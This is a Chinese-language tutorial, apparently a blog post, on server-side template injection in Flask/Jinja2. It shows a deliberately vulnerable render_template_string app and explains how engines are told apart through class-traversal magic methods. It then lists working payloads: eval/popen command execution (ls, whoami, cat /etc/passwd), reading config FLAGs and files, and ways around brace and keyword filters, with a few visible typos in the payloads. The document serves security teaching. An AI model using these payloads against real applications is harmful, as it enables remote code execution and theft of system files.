Web安全基础篇——SSTI模板注入

漏洞原理

如flask代码不严谨很危险,可能造成任意文件读取和RCE远程控制后台系统。

漏洞成因:渲染模板时,没有严格控制对用户的输入。

flask是基于python开发的一种web服务器,那么也就意味着如果用户可以和flask进行交互的话,就可以执行python的代码,比如eval,system,file等等之类的函数。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from importlib.resources import contents
import time
from flask import Flask,request,render_template_string

app = Flask(__name__)
@app.route('/', methods = ['GET'])
def index():
str = request.args.get('ben')
html str= '''
<html>
<head></head>
<body>{0}</body>
</html>
'''.format(str)
return render_template_string(html_str)

if name == '__main__':
app.debug = True
app.run('127.0.0.1:8080')

str值通过format()函数填充到body中间,{}里可以定义任何参数,然后return render_template_string会把{}内的字符串当成代码指令。这就导致了模板注入漏洞。

判断SSTI类型

网站模板引擎有jinja2、tornado、smarty、twig等等,根据处理返回值的不同来进行判别。

  • ${7*7} –> a{*comment*}b 有执行回显则是 Smarty模板
  • 如果上面的没有回显,继续 –> ${"z".join("ab")},如果有执行结果则是Mako模板。
  • ${7*7} –> {{7*7}},如果有执行结果回显则是Jinja2或Twig模板。

继承关系和魔术方法

父类和子类:子类调用父类下的其他子类。

Python flask脚本没有办法直接执行python指令。

而object是父子关系的顶端,所有的数据类型最终的父类都是object。所以所有的类型都可以使用object类的方法和object其它子类的方法。

魔术方法:

  • __class__:当前类。
  • __base__:当前类的父类。

通过这两个类就可以层层递进找到object类。

  • __mro__:以元组的形式罗列所有父类关系,最后一个是object类。
  • __subclasses__():列出当前类的父类的所有子类。
  • __globals__:该魔术方法返回当前作用域中的所有全局变量, 并且攻击者可以利用这些变量来执行恶意代码。
  • __import__():该魔术方法用于动态加载模块, 并且攻击者可以利用这个方法来执行任意代码。

通过这些魔术方法可以找到能执行命令或者其他漏洞的模块。

常用的注入模块:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
os.AddedDllDirectory
os.wrap_close
frozen importlib._DummyModuleLock
_frozen_importlib._ModulelockManager
_frozen_importlib.ModuleSpec
_frozen_importlib_external.Fileloader
_frozen_importlib external.NamespacePath
_frozen_importlib_external.Namespaceloader
_frozen_importlib_external.FileFinder
zipimport.zipimporter
zipimport._ZiplmportResourceReader
_sitebuiltins.Quitter
_sitebuiltins.Printer
warnings.WarningMessage
warnings.catch_warnings
weakref.finalize

pickle._Framer
pickle._Unframer
pickle._Pickler
pickle._Unpickler
jinja2.bccache.Bucket
jinja2.runtime.TemplateReference
jinja2.runtime.Context
jinja2.runtime.BlockReference
jinja2.runtime.LoopContext
jinja2.runtime.Macro
jinja2.runtime.Undefined
jinja2.environment.Environment
jinja2.environment.TemplateExpression
jinja2.environment.TemplateStream
dis.Bytecode

调用OS.wrap_close这个模块

1
2
{{''.__class__.__base__.__subclasses__()[117]}}
{{''.__class__.__base__.__subclasses__()[117].__init__}}

__init__去检查该方法是否被重载。没有出现wrapper字眼,说明已经重载。

1
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__}}

globals模块的方法有很多。如evalsystem等命令执行。

1
{{''.__class__.__base__.__subclasses__()[117].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}

常用注入模块

文件读取

查找子类_frozen_importlib_external.Fileloader

利用:调用get_data方法,传入参数0和文件路径。

1
_frozen_importlib_external.Fileloader["get_data"](0,"/etc/passswd")

读取配置文件下的FLAG

1
2
{{url_for.__globals__['current_app'].config.FLAG}}
{{get_flashed_messages.__globals__['current__app'].config.FLAG}}

直接调用object下的file函数

1
{{''.__class__.__bases__[0].__subclasses__()[65]("/etc/passwd").read()')}}

内建函数eval执行命令

内建函数:python在执行脚本时自动加载的函数。

1
{{''.__class__.__bases__[0].__subclasses__()[65].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("cat /etc/passwd").read()')}}
  • __builtins__:提供对Python的所有”内置”标识符的直接访问eval()计算字符串表达式的值
  • __import__:加载os模块
  • popen():执行一个shell以运行命令来开启一个进程,执行如cat /etc/passwd。(system没有回显)

os模块执行命令

通过config调用

1
{{config.__class__.__init__.__globals__['os'].popen('whoami').read()}}

通过url_for 调用

1
{{url_for.__globals__.os.popen('whoami').read()}}

在已经加载os模块的子类里直接调用os模块。

1
{{''.__class__.__bases__[0].__subclasses__()[199].__init__.__globals__['os'].popen("ls /opt").read()}}

过滤双大括号

{% %}是属于flask的控制语句,且以{% end... %}结尾,可以通过在控制语句定义变量或者写循环、判断。

判断语句能否正常执行。

1
2
{% if 2>1 %}Benben{%endif%}
{%if ''.__class__ %}Benben{%endif%}

有回显Benben说明''.class有内容。

1
2
{%if ''.class__.__base__.__subclasses()['+str(i)+
'].__init__.__globals__["popen"]("cat /etc/passwd").read() %}Benben{% endif %}

如果有回显Benben则说明命令正常执行。

可以使用脚本进行判断字符。

关键词过滤

如果__class____subclassses__等关键词过滤了,可以换一种方法构造,大佬们的注入姿势都很奇妙。

使用request.args进行绕过。

1
{{''[request.args.a]}}?a=__class__

读取文件:

1
{{''[request.args.a][request.args.b][2][request.args.c]()[40]('文件路径')[request.args.d]()}}?a=__class__&b=__mro__&c=__subclasses__&d=read